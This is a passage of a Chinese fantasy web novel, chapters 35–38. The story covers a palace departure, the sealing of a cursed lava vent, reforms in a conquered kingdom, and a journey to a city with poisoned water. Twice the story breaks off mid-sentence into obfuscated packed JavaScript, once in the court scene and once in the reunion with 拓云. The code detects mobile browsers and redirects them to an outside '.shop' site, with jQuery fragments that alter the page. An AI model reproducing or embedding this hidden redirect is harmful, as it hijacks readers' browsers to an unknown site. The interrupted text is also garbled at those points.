"你以为你想以慈悲救国,靠凡人的法子就能做完了?"倩婷的语气依然平稳,却带着一种不容置疑的宿命感, "你身上的火,是业火。凡人的慈悲是低眉顺眼,但你的慈悲,是金刚怒目,是焚尽世间虚妄的决绝。你把自己关在凡人的躯壳里,用权谋和隐忍去压制它,所以你痛,你连呼吸都觉得是在受刑。" 殿中安静了一瞬。窗外夜风吹过,窗纱微微鼓荡。 宇文炀崎看着她。他忽然想起破庙里那尊泥菩萨。泥胎剥落,面目模糊,只有嘴角的轮廓残存着慈悲的弧度。他想起破庙雨夜里他梦中零散的碎片,那是另一个世界,他不曾见过。他看见一个眉目如画的少年,安坐莲花之上,眉目中带着比破庙泥像更清晰宁静的——慈悲。 他以为那是他第一次靠近"慈悲"这个词。但此刻倩婷告诉他——不是靠近,是认出。 "你究竟是谁?"他问。声音比刚才哑了一些。 "我是谁不重要。"倩婷走近了两步,目光不像在看一个王子——像在看一块蒙了尘的玉,知道底下是什么,只是等他自己擦干净, "重要的是,你体内有仙根。它一直在你身上,只是从未被唤醒。你想以慈悲救国,无需寺庙,无需他人。你自己,便是那座寺庙。" 殿中不知何时多了一种气息——不是凡间能有的,像极远的地方传来的梧桐花的香,清冽,微苦,不属于这座宫城里的任何一株草木。 宇文炀崎闻到了。他的身体先于意识做出了反应——心口某个沉睡已久的角落忽然跳了一下。不是被说服的悸动,而是某种被压抑了千年的东西,终于闻到了同类的味道。 "我能制丹药。"倩婷说,"治你身上的伤,七日可愈。同时可以催动你的仙根。能不能觉醒,在你自己。我不保证,但这是最快的路。" "条件?" "带我出宫。以你婢女的身份。出了宫,你走你的路,我办我的事。" 宇文炀崎站起身,走到窗前,背对着她。宫墙外夜色沉沉,远处瓦鲁的方向连星光都黯淡。他的手臂还在痛,但痛忽然变得不重要了。 他转过身,看了倩婷一眼。那张拓夏的脸上坐着另一个灵魂,眼神平静,像等了他很久。 "明日辰时,来偏殿候着。"他的声音恢复了往日的冷硬,但眼底却燃起了一簇极暗、却极纯粹的火苗,"穿素色的衣裳。不要紫的。" 倩婷站起来,理了理衣摆。她朝他行了一个礼——不是拓夏的礼,是另一种,更古老,更轻,像风拂过水面。然后她转身走了出去。 月光重新落满空殿。宇文炀崎站在窗前,右手无意识地按在心口。 那个角落还在跳,一下,又一下。 他从前不知道那是什么。今夜有人把它指给他看了。 那个从破庙里就跟着他的东西,不是恨,不是怨——是他心底深处的——慈悲。 36. 曦宇晴雪 "法者,所以兴功惧暴也;律者,所以定分止争也。" ——《管子·七臣七主》 丹药入喉,不过半柱香的工夫,宇文炀崎便觉经脉中淤堵之处一寸寸松开。他攥了攥拳——指节虽仍僵硬,力道却已回了三成。他将白袍下摆扎进腰带,系紧了袖口。对立在殿外的假拓夏点了点头。假拓夏倩婷此刻素色青衣,发髻挽得极简,通身上下没有一处像公主,唯有那双眼太静,不像婢女的。 "走。"他迈步。 两人一前一后穿过曦宇王宫偏廊。天色未明,宫人尚未起身,只有檐角铜铃被晨风吹得叮当作响。廊下灯笼还亮着,昏黄的光落在青石砖上,被他们的脚步声震得一晃一晃。 宫门在望。廊柱暗影里转出六个人,皆着墨色短褐,面覆黑巾,腰悬短刃,是宇文轩的暗卫。为首那人不高,肩宽背厚,站在宫门正中像一截钉进地里的铁桩,堵得严严实实。他身后五人分列两翼,手按刀柄,没有让路的意思。 "殿下。"统领抱拳,声调平板,"陛下有旨——任何人不得出宫。" 宇文炀崎脚步未停:"伯父允我伤好后可自行离开。" 统领没有动。五柄短刃齐齐出鞘,刀光在晨曦中一闪。 "殿下,得罪了。" 一道声音从宫门方向传来,不高,但六名暗卫同时收刀退了半步。 "朕说的,不是他不可走。" 宇文轩从晨雾中走出来,玄色常服,未戴冠,鬓角沾着几点未化的霜。他像是在宫门外站了有一会儿了,肩头也落了一层薄薄的白。他的目光越过炀崎,只看着那个穿青衣的女人。 "是不许你走。" 倩婷站住了。晨风卷起她青衣下摆,她没有躲开宇文轩的目光,也没有用拓夏的方式行礼。只是站在那里,像一棵被连根拔起又随意栽在路边的树,活着的,但不属于这片土。 "陛下若以为我会谋害曦宇血脉,"她开口,声音还是拓夏的,语气却不是,"那么这三年,曦宇可会还有一日安宁?" 宇文轩没有回答。他的目光钉在她脸上,像要从那张拓夏的面容里看穿底下坐着的那个灵魂。 "我寻的人,只有一个。"倩婷往前迈了一步,"煦审年。仅此而已。" 宇文轩的眉头拧了一下。"煦审年镇守青岚灵脉,乃智叟座下高徒,有修为在身。你寻他做甚?莫要再寻借口!" 倩婷没有立刻回答。她看着宇文轩的眼睛——审度良久,然后她说了四个字。 "他是我夫。" 话音落下,晴空中一道惊雷划过,倩婷唇角竟渗出一丝血迹。 宇文轩怔住了。宇文炀崎也怔住了。 "三年来,他在青岚守护灵脉,稳控疫瘴,誓不退散疫瘴不离开青岚。非老夫不允他离去。"宇文轩面生颓色,叹了一口气。 "三年,疫情未散?"倩婷惊诧道。 "正是。奏报言他仅能勉力维持不再蔓延。" 倩婷惊得后退一步,膝盖一弯,直直跪了下去——不是拓夏的礼,是凡间最重的跪,双膝着地,额头触石,青石砖上磕出了一声闷响。 "请王上速放我前去。"倩婷的声音从地面上传上来,哑的,碎的,"灵脉与病疫相克,镇灵脉者,必以灵力喂养灵脉以挡疫毒。三年未退——便是他一直在自耗!他竟挡了三年——" 她的声音碎了一下,又硬生生拼回来。 "此刻他必已命悬一线。只有我可以救他。" 宇文轩眉头紧蹙。他收到的密信里只说煦审年镇守灵脉、病疫未再扩散,如今被倩婷点破——未再扩散,是因为有人用命在堵。他闭了一瞬眼。 "轩王,"倩婷又开口了,声音还在颤,却一字一句像钉子钉进石缝,"我无意间窥见奏报言明,悦然已有拓宏伴在身边,何必再搭上我夫性命?婷便只愿前去青岚,伴在他身畔!" 假拓夏字字恳切,宇文轩看了她很久。 "你可否应我一时?"宇文轩开口。 "请讲。" "在我儿拓宏未曾回护青岚之前,不要与煦审年离去。" 假拓夏望向宇文轩,良久,似是下了巨大的决心:"我允你!" "赵岭。" 暗卫统领单膝跪地。宇文轩的声音恢复了帝王的沉稳,但语速慢了半拍,像每个字都掂量过,"调你麾下十二骑,护送拓夏公主前往青岚。沿途关卡持朕手谕放行。她要见的人,不得阻拦。若她有不轨,可即刻诛杀。" "遵旨。" 倩婷身子颤了一下。她缓慢起身,朝宇文轩行了一个礼——不是曦宇的礼,却似更古老庄重,像风拂过水面。宇文轩没有还礼,只是看着她踉跄着朝宫门外奔去。 十二骑并未阻拦,而是多备一马,策马紧随其后。 宇文炀崎看着这一幕。他看了倩婷的背影一眼,又看了宇文轩一眼。然后他也跪了下去。 "谢大伯救命之恩。然炀崎心中挂念瓦鲁百姓,欲以己力解其水深火热。还望大伯成全。" 宇文轩低头看着这个刚刚回来认亲的侄子。晨光落在他的侧脸上,那张苍白的面容上有一簇极暗、极净的赤诚。不是野心,不是怨愤,是一种他很久没有在这座宫城里见过的东西。 "你欲如何?" "瓦鲁之乱,根在戾气横行,毫无敬畏。"宇文炀崎直起身,与宇文轩对视,"炀崎欲以因果导之,慈悲化之。炀崎在一日,便立誓向内止戈、向外求和,护一方安宁。请大伯放心。" 宇文轩看着他,眸中竟闪过一丝泪意。他点了点头,声音有些哑:"如此,甚好。朕拨二百亲卫,随你调遣。" 宇文炀崎再拜。起身时眼眶也红了,但没有落泪。他转过身,走向宫门。 宫殿内又剩下一片空寂。日光正盛,天上却没有云。雪花从无云的天幕中飘落,被日光映得像碎金,落在宫墙上、石阶上、行人的肩头。 晴日雪一连落了三日。 而千里之外的凛锋矿底,另一场仗已打到了最后。 —— 拓宏的伤愈合了大半。悦然的二力疗伤极耗心神,她断断续续运了两个时辰,才将他后肩的凿伤封住、左臂刀口收了口。他试了试肩膀,能抬,能用力,只是皮肉还有些紧。 "别逞强。"悦然坐在矿壁旁,脸色苍白,唇色也淡,"我封了你的伤口,没长好。用力过猛还会裂。" 拓宏看了她一眼,点点头,将悦然拥入怀中,用他炽热的体温帮她驱走矿道的寒意。悦然转头向他笑笑,感受他胸膛温暖,静静倚靠在他胸前,眉眼弯了弯。 赤渊魅惑散去后,那些假扮矿工的梧卫一个个从地上坐起,茫然四顾。拓宏站在矿道中央,左手横刀,刀尖点地。 "梧卫何在?"拓宏沉声道,未改拥着悦然的姿势。 混在矿工中的梧卫迅速集结。 "三年潜伏,等的就是今日。赤渊已平,凛锋无备。此刻不取,更待何处!" 他从怀里取出一方青岚梧令,举过头顶,梧令上的岚纹在暗淡的矿灯下泛着微光。 "今日便拿下这矿脉,不令它再为患各国!" 梧卫们从地上站起来,操起手边能当兵器的东西——镐头、铁钎、凿子、矿锤。拓宏和悦然走在最前面。每过一道岔口,拓宏报一个方向,悦然扬手——一队梧卫便从暗处涌出,将守关人按倒在地。一道岔口,两道岔口,三道——不过一刻钟,矿下已尽数被梧卫控制。 拓宏和悦然也已经行至矿道尽头,看见了赤渊本体。 赤渊所在之处比他们想象中小得多,不是什么深渊巨口,只是地脉被挖穿后渗出的一个岩浆口,井口大小,暗红色的岩浆在里面缓慢翻涌,已毫无攻击性,像一只被打断了脊梁的兽。 拓宏回头看了悦然一眼,没有多问,只是横刀转身,面朝来路,守在矿道口。 悦然走上前,蹲下身,将掌心按在赤渊旁的岩壁上。紫蓝二力缓缓运转,地底深处传来一阵低沉的嗡鸣——是岩脉在回应她。她指向矿道西侧一处凹陷:"那边的巨石,帮我推过来。"四名梧卫上前,将巨石推到岩浆口上方,缓缓放了下去。 悦然双手结印,紫蓝二力从掌心涌出,沿着巨石边缘渗入地脉。光芒明灭三次,每一次都让巨石往下降一寸,直到与岩面齐平。她在赤渊周围画了一圈法阵——二力刻入岩面,首尾相衔。 法阵成形的片刻,矿道里风声骤起,地脉深处残存的怨力做最后的挣扎,一股灼热的气浪从岩缝中喷涌而出,直冲悦然后背。 拓宏的刀横在她身后,刀面平展,土黄之力凝聚,将那股灼热尽数抵消。 法阵亮了一瞬,暗了。岩浆口被彻底封死,地底的嗡鸣停了,取而代之的是一种极深的静,像大地长长地呼出了一口气。 悦然收回手,长出了一口气。拓宏收刀入鞘,回头看了一眼地面上那道法阵的痕迹。像从来就在那里一样。他伸出手,将悦然从地上拉起来。悦然站起来时晃了一下,拓宏的手收紧了些,旋身将她抱起。 "我们走。" —— 凛锋王城,三日后。 城破几乎没有流血。拓宏梧卫从矿脉出击,控制了各大矿脉和城中水粮要道。拓石率军从东门攻入,内外夹击。凛锋残兵不过千余,守宫门的将领开了宫门投降。 拓宏没有杀降,只将凛锋王室拘押候审,令梧卫接管城防。 拓石被推上了凛锋王位。 他修书请示宇文轩,宇文轩让他们自行定夺。他再三让与拓宏,拓宏却握着他的手臂道:"大哥,至始至终,我若有王位之念,便唯有青岚一国而已。" 拓石又望向悦然。悦然微微一笑:"如今我心中,便唯有一个阿泽而已。"拓宏脸色又是一红。 拓石只好作罢,自己代管凛锋。他坐上王位的那一刻用力攥了一下扶手,指节泛白。这把椅子凛锋王坐了三代,椅背上还刻着凛锋王室的鹰纹。 拓石看着拓宏和悦然支持的目光,吩咐左右拟令。 第一道:矿脉开采须持官府文牒,无牒者以盗矿论。凛锋旧制中,矿脉归王室所有,开采与否全凭王令一言而决。拓石改了一条——文牒由官府核发,不再系于王命。 此令一出,堂下便有人出列。说话的是凛锋旧臣中资历最深的矿曹主事,须发皆白,腰弯得像一张弓,语气却并不恭顺。 "王上!凛锋立国百年,矿政皆由王室裁度。如今改归官府,那官府听谁的?听您的?大人代政一日,这令能管几日?" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632100|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂上顿时安静了。其余旧臣虽未出声,目光却都聚在拓石脸上,像在等一个破绽。 拓石没有发怒。他看着那老主事,像看一块矿石——先看纹路,再看瑕疵。 "你说得对。我代政一日,这令便只管一日。但你要清楚一事——" 他站起来,走下台阶,走到那老主事面前。 "你跪了三代凛锋王,他们给了矿工什么?六个时辰轮值变八个,八个变十二个。药费从矿工工钱里扣,死在井下拼命,所得连口棺材都够不起。你们定的规矩,管了一百年——管出了一条赤渊。" 老主事的脸白了。 "新令管不管得住,三日之后看实效。"拓石转身走回台阶上,"届时矿场若有一人无牒下井、有一人超时未歇,我先拿你是问。退下。" 堂上再没有人说话。 第二道:矿工轮值不得过六个时辰,每旬休两日,伤病者由官府给药。念到"给药"二字时,一名旧臣终于没忍住:"大人,凛锋国库——" "国库空虚,我知。"拓石的声音不大,但很硬,"那就从王室账上出。凛锋王室三代搜刮的矿银,够给矿工买药了。" 那旧臣张了张嘴,没有再说话。 第三道:私采者论罪,知情不报者同罪,举报者赏银五十度。 念到第三道时,堂上已无人出声。旧臣们低着头,有人攥紧了袖口,有人悄悄往后退了半步。 第四道:举国三年内不得征税,三年内官府所有收入均用于修缮安民。 第五道:修缮凛锋新法,问计于民。新法颁布后,世家与庶民平等享有权利与义务,世家犯法与庶民同罪。 拓石念完五条,将令册合上,扫了一眼堂上众人。 "法令三日之内张榜公布,各矿场遵令而行。有异议的,方才已经给过机会了。" 堂上鸦雀无声。 —— 庆功宴设在凛锋旧宫偏殿。 菜色简素,倒也不寒酸——凛锋地苦,本就不产精细吃食。案上摆的是戈壁风干的牛羊肉条、矿坑里烤出来的硬面饼、一碟咸得发苦的腌沙葱。但酒是好酒。 寒锋烈酒,凛锋军中的壮行之物,以戈壁寒泉和矿脉深处的火岩草酿成,盛在粗陶碗里,色如琥珀,闻着有一股冷冽的矿石气。 拓石端起碗,先敬了阵亡的曦宇亡灵与梧卫,酒洒在地上,嗤地一声,青石砖面上蒸出一道白痕。 "这酒烈。"他放下碗,对拓宏说,"入口如刀割,入腹如火烧。凛锋人喝它,是因为矿底下冷,骨头缝里都是寒气,非得这东西才能把寒气逼出来。" 拓宏端起碗,饮了一口。果然——唇舌间像被刀片刮过,喉头一紧,然后一团火从胃里炸开来,顺着四肢烧下去,连肩上伤口都跟着跳了一下。他皱了皱眉。 悦然在旁边看着,端起自己的碗闻了闻,眉头立刻拧成了结。 "喝不了便不喝。"拓宏头也没抬。 "谁说喝不了。"悦然抿了一小口,然后整张脸皱了起来,像咬了一口生青柿子。她忍了忍,没咳出来,但眼眶红了。 拓宏看了她一眼,把自己碗里剩的酒推到她手边——换了她那碗几乎没动的。 "这碗淡些。"他说,语气像在说天气。 悦然端起来又抿了一口。确实淡了——不是酒淡,是清水。她没说话,只是低头慢慢喝着。 拓石看着这一幕,喉结滚了滚,灌了一大口酒。烈酒入喉,烧得他眼眶更红了。他看了一眼坐在拓宏身侧的悦然,又看了一眼拓宏,然后低下头,又灌了一口。 他又想起一直想问父亲的那句话:我母亲与梧苒,究竟谁才是您情有独钟之人。 他也一直想知道,曦宇的灵宙究竟该谁来继承。 自小,他最羡慕的便是自由自在无人约束的拓宏,现在,也是。 或许,只有现在的拓宏才配得上现在的悦然。 也罢,不重要了。 拓宏身边有悦然,他眼下有凛锋。那些压在心底十几年的话,就继续压着吧。 拓石放下酒碗,从怀里取出两样东西。一封信,一卷文书。 "二弟,三弟刚从滨蓝来报,河道疏通急需铁器。吾连日加急打造,已备齐六车。"他拍了一下那封信,"就等上路。" 他看向拓宏的眼神复杂起来,但仍沉声道:"你助我平定凛锋之乱,若今后你有兵器之需,直需开口,凛锋定全力相助。" 又展开那卷文书——十五年前的旧档,纸页泛黄,边角被寒风吹得起了毛边,上面盖着凛锋王室的鹰纹火漆。 "这是凛锋侵占青岚的国土文书。从凛锋王密室里翻出来的。今日便交还于你,待三弟拓云料理好滨蓝之事,亦会劝说外祖,归还青岚旧土。" 拓宏接过文书,展开看了一眼。凛锋王的画押、摄政大臣的用印、年月日——一桩一桩,白纸黑字,铁证如山。他折起来放进怀里。 "我和悦然可押送铁器去滨蓝。" 拓石愣了一下:"你亲自去?" "我获得消息,拓云在滨蓝三年未归,处境维艰。我二人如今闲散,便去看看。" 拓石张了张嘴,又闭上了。他看了拓宏一眼,又看了悦然一眼,最后只是点了点头。 37. 滨蓝寒雾 "水浊则鱼噞,政苛则民乱。" ——《淮南子·主术训》 上路那日,也下了雪。 六辆铁车依次出了凛锋城门,梧卫前后护送,辚辚车声碾过官道上厚厚的新雪。拓宏骑马走在最前面,悦然骑一匹枣红马跟在他旁边,两匹马隔着丈余,步子却出奇地合拍。 出了凛锋境,地貌便一点点变了。戈壁的碎石和赤土渐渐退去,脚下泥土变得湿润,路旁偶尔可见枯黄的芦苇丛,苇尖上挂着冰凌,风一吹叮当作响。再往北走,芦苇丛变成了成片的枯草甸,草甸之间是大大小小的冰封湖面,冰面下隐约可见水纹流动,像被冻住的风。 风也变了。凛锋的风是干的,刮在脸上像砂纸打磨;滨蓝的风带着水汽,湿冷,钻骨头缝,比凛锋的烈风更难熬。拓宏勒马,从马背行囊里取出一件金纹防寒兽皮,扔给悦然。 "披上。滨蓝的湿风不比凛锋,吹透了不容易暖回来。" 悦然接住,展开看了看——兽皮内层柔软厚实,外层覆着细密的金色纹路,在日光下一闪一闪。她没有推辞,裹紧了,只露出一张脸。 "你自己呢?" "我扛得住。" 悦然看了他一眼,没说话,催马靠近了半步,伸手扯了一下他的袖口。拓宏低头看。她没有看他,目光望着远处冰封的湖面,手指还勾着他的袖边,没有松。 "阿泽。你想起来多少?" 拓宏没有立刻回答。马蹄踏在残雪上咯吱咯吱地响。他沉默了很久,像在心里翻找什么,翻了半天,只翻出几个碎片。 "忆起心中所爱,未及剖白。" 悦然偏头看他。日光从枯枝间漏下来,在他侧脸落下明暗交错的光影。他的眉目还是那些眉目,但她忽然觉得,这张脸底下的人比杏花村那个蹲在灶前捂粥碗的男人深了不知多少。 "那,可剖白一二?" 拓宏转头看她。她的眼睛被日光映得极亮,紫蓝二色在瞳孔深处交融,像暮色里最远的那片天。他看着那双眼睛,喉结动了一下。 "待青岚复国之日,你与我大婚,可好?" 悦然笑了一下,耳根有些发热,她松开他的袖口,坐直了身子:"那你便要快些。莫待……" 莫待什么?悦然抿住唇,没有再说。碎片中,她见到了,那个义无反顾随她跳下诛仙台的男人,她的阿泽。 "一定!"他催马上前,紧紧拉住了悦然的手。 两匹马继续往前走,蹄下残雪吱吱作响。 又走了一段,草甸尽头出现了一片低矮的屋舍。不是凛锋那种石砌的堡垒,而是滨蓝特有的水屋——以湖石为基、芦苇覆顶,墙壁上糊着一层厚厚的白泥,远看像一排蹲在湖边的雪墩子。屋檐下挂着成串的风干鱼和湖草编的帘子,帘子上缀着拇指大小的蚌壳,风一吹,蚌壳相碰,发出细碎的声响,像有人在很远的地方摇铃。 一只冰橇从屋舍旁的冰面上滑过来。橇上坐着个老汉,裹着水纹柔丝锦的斗篷,手里攥着一把驱寒雾隐灵草,草尖冒着淡淡的青烟。老汉看见他们,勒住冰橇,眯着眼打量了一会儿铁车和梧卫。 "外乡来的?往滨蓝城?走冰面近,走官道绕半天。但冰面这阵子不牢靠,水底下的道不通了,冰层薄了不少。你们走官道稳当些。" 拓宏抱拳:"多谢老丈。" 老汉摆摆手,冰橇一滑便去了,留下一串青烟和蚌壳碰碎的脆响。 悦然看着那冰橇远去的方向,忽然问:"他说水底下的道不通了——滨蓝湖底下有古道?" "滨蓝人信这个。湖泽深处有古水道连通,据说能走通全程。但从来没人走通过,也没人证实过是真是假。"拓宏顿了一下,眉头微微拧起,"不过——水道不通、冰层变薄,这不是好兆头。" 悦然也皱起了眉。拓云在滨蓝三年,河道枯了,冰层薄了,水底古路也不通了——滨蓝的水脉,恐怕不只是天旱那么简单。 官道越走越冷。日头偏西时,天边涌起了一层灰白色的雾。不是寻常的冬雾,是滨蓝特有的寒雾——从湖面上蒸腾而起,绵密、潮湿、带着一股说不出的腥苦气。雾气贴着地面流动,淹没了草甸和枯苇,连马蹄都看不见了。 拓宏勒马,低声道:"梧卫,燃雾隐草。" 梧卫们从行囊里取出雾隐灵草点燃,每人一束,青烟升起来,在四周形成一圈淡淡的驱雾屏障。雾气遇到青烟便退开了些,但退得不远,像一群不愿散去的饿鬼,在外围徘徊着。 就在这时,雾气深处传来一阵声响。不是风声,不是水声——是咳嗽。一声接一声,沉闷的,撕心裂肺的,像要把五脏六腑都咳出来。 雾气中隐隐走来几个人影。走得很慢,步子虚浮,像随时会倒。走近了才看清——是三个百姓,两男一女,衣衫褴褛,面色青灰,嘴唇干裂起皮。那女人怀里抱着一只皮水囊,囊口没盖严,往下滴着水——水滴落在地上,不是清的,是淡黄色的,带着一股腥臭。 "你们是从哪来的?"拓宏策马上前。 三人都抬起头,眼窝深陷,目光浑浊。为首那个男人张了张嘴,声音嘶哑得几乎听不清:"滨蓝城……逃出来的。" "逃?" "水不能喝了。河枯了,井水也变了味。喝了就闹肚子,拉得人站不住。小娃娃喝了更遭罪,上吐下泻,几日便命绝了……" 悦然翻身下马,走到那女人面前。女人本能地把水囊往后藏了藏,又停住了——她看见悦然后辎重车上的曦宇标志,眼里闪过一丝微弱的光。 "你们是曦宇的人?" 悦然点了点头。 "曦宇的人来了,可能救救滨蓝?"女人喃喃着,忽然眼眶一红,"拓云公子一直说水脉会通的……可这水越来越毒——" 她顿了一下,又压低了声音,像是说一件比毒水更难以启齿的事。 "而且城里的人也变了。从前滨蓝人哪有那般贪的?如今个个攀比吃穿,比谁家灵珠多、谁家丝锦好。比不上的就恨,恨了就闹。为了一颗灵珠杀人的事都出了……那不像是人自己想出来的贪,倒像是被什么东西勾出来的。" 悦然和拓宏对视了一眼。 "你们是曦宇人?"女人又说了一遍,这回语气更急,"拓云公子还在河道上——" "他还在河道上?"拓宏的声音紧了一分。 "在。天天在河道上,自己下到河床里去搬石头、清淤泥——"男人说到一半,被咳嗽打断了。 悦然回头看拓宏。他脸上没什么表情,但握缰绳的手指攥得很紧,指节泛白。 "上马车。"拓宏对三个百姓说,"我们去滨蓝城。" —— 滨蓝城比他们预想的更冷清,也更古怪。 城门敞着,无人把守。城墙上还挂着曦宇属国的旗帜,但已褪色发白,边角被寒雾侵蚀得起了毛边,在湿风里软塌塌地耷拉着。城墙上的冰凌挂了一丈长,在暮色中像一排森白的牙齿。 城内街道上行人稀少,偶尔走过一两个,也是缩着脖子、裹紧斗篷,脚步匆匆,像在躲什么。但街旁的铺面却透着一股说不出的异样——卖灵珠的、赌坊、酒肆,竟有不少还亮着灯。灯光从门缝里漏出来,映在湿漉漉的石板路上,红的、紫的,像淤血的颜色。有一家酒肆门口挂着一串滨蓝深海灵珠,颗颗浑圆,光可鉴人,在这满城腥苦的寒雾中亮得刺眼,像一排睁着的眼。酒肆隔壁的药铺却关着门,门板上贴着一张泛黄的告示——"药尽,不候。" 空气中弥漫着那股腥苦气,比城外更浓。不是雾的味道,是水的味道——坏了的水。 拓宏将铁车和梧卫安置在城西旧营房,只带了悦然和两名梧卫往河道方向走。出了城东门,便看见了那条干涸的河道。 河床宽逾百丈,此刻只剩下中间一道细如鸡肠的水流,浑浊发黄,缓慢地淌着。两岸淤泥龟裂,裂缝里结着白霜。河床上横七竖八地堆着碎石和枯木,看得出有人清理过——一侧的碎石被整整齐齐地码在岸上,但只码了一半,另一半还泡在泥水里。 河道上有火光。几堆篝火沿着河岸燃着,火堆旁蹲着十几个士兵,裹着滨蓝特有的水纹柔丝锦斗篷,手里捧着粗陶碗,碗里的水蒸着热气——那是煮沸过的水。篝火最密集的地方,一个人正蹲在河床上。 他穿着一身洗得发白的青灰色军袍,袍角沾满了泥浆,膝盖上也是泥。他背对着他们,正弯腰从淤泥里搬一块石头——不大,半臂见方,但冻硬了的泥浆像胶一样黏着石面,搬起来格外费力。他搬起那块石头,转身往岸上走——是拓云。 拓宏愣了一下。 那个三年前还在变声的拓云——如今长高了一大截。比记忆里高出了小半个头,身量已经是个青年了,但极瘦,瘦得像一根被风吹弯的芦苇。军袍空荡荡地挂在身上,肩胛骨的轮廓从布料底下顶出来,像两把没出鞘的刀。 他走了两步,脚下一滑,险些栽倒,硬是扛着那块石头稳住了。然后他看见了岸上站着的人。 石头从手里滑下来,砸在脚边的淤泥里,溅了他一裤腿的泥点子。他没在意。他看着拓宏,又看悦然,嘴唇动了一下,像是不确定自己看见的是不是真的。 "二哥?你是——悦然?" 他下意识往身后看了一眼,压低了声音,语气里多了一层只有自家人才有的急切:"这水有毒——不是寻常的毒,沾了就烂。你们别下河床。" 拓宏没有接他的话,只是看着他。 十六岁了。走的时候还是个孩子,如今眉骨长开了,下颌线也硬了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632101|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇上有了细细的绒毛。但脸上没有这个年纪该有的肉——颧骨高高凸起,腮帮子凹了进去,皮肤被湖风和寒雾吹得粗糙发红。嘴唇干裂,裂口处结着血痂。头发随便束了一把,散下来的发丝贴在额上,被汗水和泥浆黏成一缕一缕的。 但眼睛还是亮的。 悦然也看着他。三年不见,这孩子长高了这么多,却瘦成这样,双手都裹着厚厚的棉布条,裹了一层又一层,从指尖裹到手腕再到臂弯。棉布外层渗着淡黄色的液体,是药还是脓,分不清。指缝间隐约可见溃烂的皮肤,发黑,发紫,边缘翻卷着,像被什么东西从里面啃过。 "拓云。你——长大了。" 拓云听到这句话,嘴角抽了一下,像是想笑,又像是被什么东西堵住了。 "二哥,悦然。" 他冲他们咧了咧嘴,想笑。嘴角刚扯开,裂口处又渗出血来,他舔了一下,不在意地抹了一把。 拓云注意到悦然的目光,本能地将手往袖子里缩了缩。 "没事。下河搬石头划的,沾了脏水,不好收口。小伤。" 拓宏走上前,伸手——不是去握拓云的手,是按住他的肩。用力按了一下。拓云的肩瘦得硌手。 "滨蓝的事,我都知道了。先回城,换药,吃饭。河道明天再清。" "那不行。"拓云摇头,指了指河床上那些碎石,"今天不把这些清完,明天上游的冰凌一压,好不容易通开的那点水道又得堵。城里的水——" "我知道。"拓宏打断他,"但你这双手再不清治,不用几天你就搬不了石头了。到时候谁来清?" 拓云张了张嘴,没说出话来。 悦然走上前。她看着拓云那双裹满棉布的手,没有问能不能看——直接伸手,轻轻托住了他的手腕。拓云本能地想缩。 "别动。"悦然的声音很轻,但不容拒绝。她小心翼翼地揭开棉布最外层——棉布和溃烂的皮肉黏在一起,每揭开一点,拓云的手便颤一下,但他没有出声。 棉布揭开的那一刻,两个梧卫同时别过了头。 悦然没有别。但她的手指颤了一下——极轻,几乎看不出,只有托着她手腕的拓云感觉到了。他垂下眼,没有说话。 她看着那双手——指腹烂得见了肉,指甲脱落了三枚,剩下的也松动发黑,掌心的皮肤像被酸液浸泡过一样,薄而脆,稍一碰便裂开。溃烂从指尖一直蔓延到手腕,和棉布黏连处的肉翻卷着,渗着淡黄色的脓水。 这不是划伤。这是中了毒。河水里有东西。 悦然抬头看着拓云的眼睛。 拓云这回没躲。他看着她,嘴角的笑终于挂不住了,像是那张硬撑了三年的面具终于被人轻轻揭下来了一角。 "悦然,这水……是不是没法治了?"他的声音忽然低了,像怕被岸上士兵听见,"头一年只是浑,第二年开始发苦,到了今年——碰都不能碰了。像是地底下有什么东西在往外渗。" 他顿了一下,眉头拧得更紧。 "不光是水。人也变了。外公不信邪,非说滨蓝的水脉千年不竭,熬一熬就通了。可三年了,越熬越毒。城里的百姓——从前滨蓝人最是淳朴,打鱼摸虾,知足常乐。如今呢?个个攀比灵珠丝锦,比不上的就怨、就恨。前阵子还有人为了抢一颗灵珠把邻居推到了河里——那河水他明知道有毒。" 拓云苦笑了一声。 "那不像是人自己想出来的贪。倒像是被什么东西勾出来的。水底下的毒烂人的手,这股子邪气……烂人的心。" 他说完这句话,河风正好停了一瞬。连篝火的火苗都矮了下去,像在听。 悦然没有回答他。她将棉布重新覆上,动作很轻,像给伤口盖一床被子。 "回城。" 拓云看着她,又看了看拓宏。拓宏没有说话,只是又按了一下他的肩。力道不重,但很实,像在说,我在。 "走吧。" 拓云站了一会儿。河风从冰面上刮过来,裹着那股腥苦气,吹得他单薄的军袍猎猎作响。他低头看了一眼自己裹满棉布的手,又看了一眼河床上那些还没清完的碎石。 然后他弯腰捡起脱落在泥里的棉布头,揣进怀里,跟着他们往城内走去。 暮色渐浓。河岸上的篝火烧得噼啪作响,驱寒雾隐灵草的青烟升起来,和湖面上的寒雾搅在一起,分不清哪是烟哪是雾。几个士兵看见拓云要走,站起身想问什么,拓云摆了摆手——用裹着棉布的那只手,动作很轻,像怕惊动什么。士兵们又蹲了回去。 远处,干涸的河道在暮色中像一条死去的蛇,蜿蜒着消失在看不见的尽头。冰层下面,浑浊的水还在流,流得极慢,像什么东西在临死前最后的呼吸。 滨蓝的夜,冷得没有尽头的样子。 38. 沧澜觉醒 上善若水。水善利万物而不争,处众人之所恶,故几于道。 ——《老子》第八章 滨蓝王宫外,三人并肩而行。 